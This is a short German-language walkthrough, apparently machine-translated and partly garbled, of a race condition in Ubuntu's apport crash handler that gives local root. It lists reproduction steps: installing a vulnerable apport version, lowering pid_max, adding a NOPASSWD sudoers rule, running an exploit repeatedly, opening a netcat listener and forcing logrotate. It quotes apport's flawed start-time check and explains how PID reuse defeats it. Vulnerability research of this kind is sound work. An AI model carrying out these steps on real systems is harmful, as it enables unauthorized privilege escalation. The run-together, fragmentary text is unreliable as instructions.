
Race Condition in apport führt zu lokaler Privilegieneskalation auf Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (beliebige Version <= 2.20.11-0ubuntu27.10 ist in Ordnung, aber Sie müssen den Quellcode herunterladen)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping in /etc/sudoers ein.ulimit -c unlimited; ./exploit mehrmals aus./etc/logrotate.d/core sehen.nc -lvcp 1234 aus.sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf aus, um logrotate sofort auszulösen. (just same as /etc/cron.daily/logrotate)Apport überprüft, ob die PID wiederverwendet wird, indem es prüft, ob die Startzeit des Prozesses später als die von Apport selbst ist:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
Aber diese PID könnte direkt nach dem Start von Apport wiederverwendet werden. In diesem Fall gilt get_apport_starttime() == get_process_starttime().
So können Sie Apport veranlassen, eine Core-Datei mit -rw------- root:root abzulegen, wenn Sie diese PID mit einem anderen Prozess, der unter uid==0 läuft, wieder besetzen können:
sudo ping 8.8.8.8 mit cwd /etc/logrotate.d/ aus. Ein Prozess, der unter root:root läuft, besetzt PID A erneut.